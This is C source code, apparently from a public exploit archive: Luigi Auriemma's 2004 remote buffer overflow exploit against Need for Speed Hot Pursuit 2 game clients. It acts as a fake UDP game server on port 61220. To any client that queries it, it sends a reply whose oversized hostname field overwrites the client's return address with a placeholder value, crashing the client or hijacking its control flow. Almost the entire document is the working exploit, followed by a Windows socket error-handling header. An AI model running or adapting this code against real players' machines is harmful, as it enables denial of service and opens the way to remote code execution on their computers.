255 lines
No EOL
6.5 KiB
C
255 lines
No EOL
6.5 KiB
C
/*
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Need for Speed 2 Remote Client Buffer Overflow Exploit - 23.01.2004
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by Luigi Auriemma
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UNIX & WIN VERSION
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#ifdef WIN32
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#include <winsock.h>
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#include "winerr.h"
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PORT 61220
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#define RETADD 0xdeadc0de
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#define RETOFF 540
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#define NFS240 "18022640"
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#define NFS242 "18088178"
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#define NFSOFF 669 /* referred to pck[] nver, don't change it */
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void std_err(void);
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int main(int argc, char *argv[]) {
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int sd,
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err,
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on = 1,
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psz;
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struct sockaddr_in peer;
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u_char *buff,
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pck[] =
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"\\gamename\\nfs6"
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"\\gamever\\240" // it is useless
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"\\hostname\\"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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"aaaaaaaaaaaaaaaaaaaaaaaa"
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"0000" // return address
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"\\hostport\\8511"
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"\\mapname\\Fall Winds"
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"\\gametype\\Single Race"
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"\\numplayers\\1"
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"\\maxplayers\\8"
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"\\gamemode\\openplaying"
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"\\pbmd\\0"
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"\\password\\0"
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"\\nver\\" NFS240
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"\\ctid\\6"
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"\\res\\38"
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"\\dir\\0"
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"\\laps\\2"
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"\\ded\\0"
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"\\final\\"
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"\\queryid\\2.1";
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setbuf(stdout, NULL);
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fputs("\n"
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"Need for Speed Hot pursuit 2 <= 242 client's buffer overflow "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\nUsage: %s <version>\n"
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"\n"
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"Version:\n"
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"240 = this is the default (1.0) and more diffused version\n"
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"242 = the latest patched version, rarely used by players\n"
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"\n", argv[0]);
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exit(1);
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}
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if(!memcmp(argv[1], "240", 3)) {
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printf("Selected version 240 (nver %s)\n", NFS240);
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} else if(!memcmp(argv[1], "242", 3)) {
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printf("Selected version 242 (nver %s)\n", NFS242);
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memcpy(pck + NFSOFF, NFS242, sizeof(NFS242) - 1);
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} else {
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printf("\nError: you must choose between 240 and 242 only\n");
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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peer.sin_addr.s_addr = INADDR_ANY;
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peer.sin_port = htons(PORT);
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peer.sin_family = AF_INET;
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psz = sizeof(peer);
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printf("\nBinding UDP port %u\n", PORT);
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err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
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if(err < 0) std_err();
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err = bind(sd, (struct sockaddr *)&peer, psz);
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if(err < 0) std_err();
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printf("The return address will be overwritten with 0x%08x\n", RETADD);
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*(u_long *)(pck + RETOFF) = RETADD;
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buff = malloc(BUFFSZ);
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if(!buff) std_err();
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fputs("Clients:\n", stdout);
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while(1) {
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err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
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if(err < 0) std_err();
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printf("%16s:%hu -> ",
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inet_ntoa(peer.sin_addr), htons(peer.sin_port));
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err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
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if(err < 0) std_err();
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fputs("BOOM\n", stdout);
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}
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close(sd);
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return(0);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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// milw0rm.com [2004-01-23]
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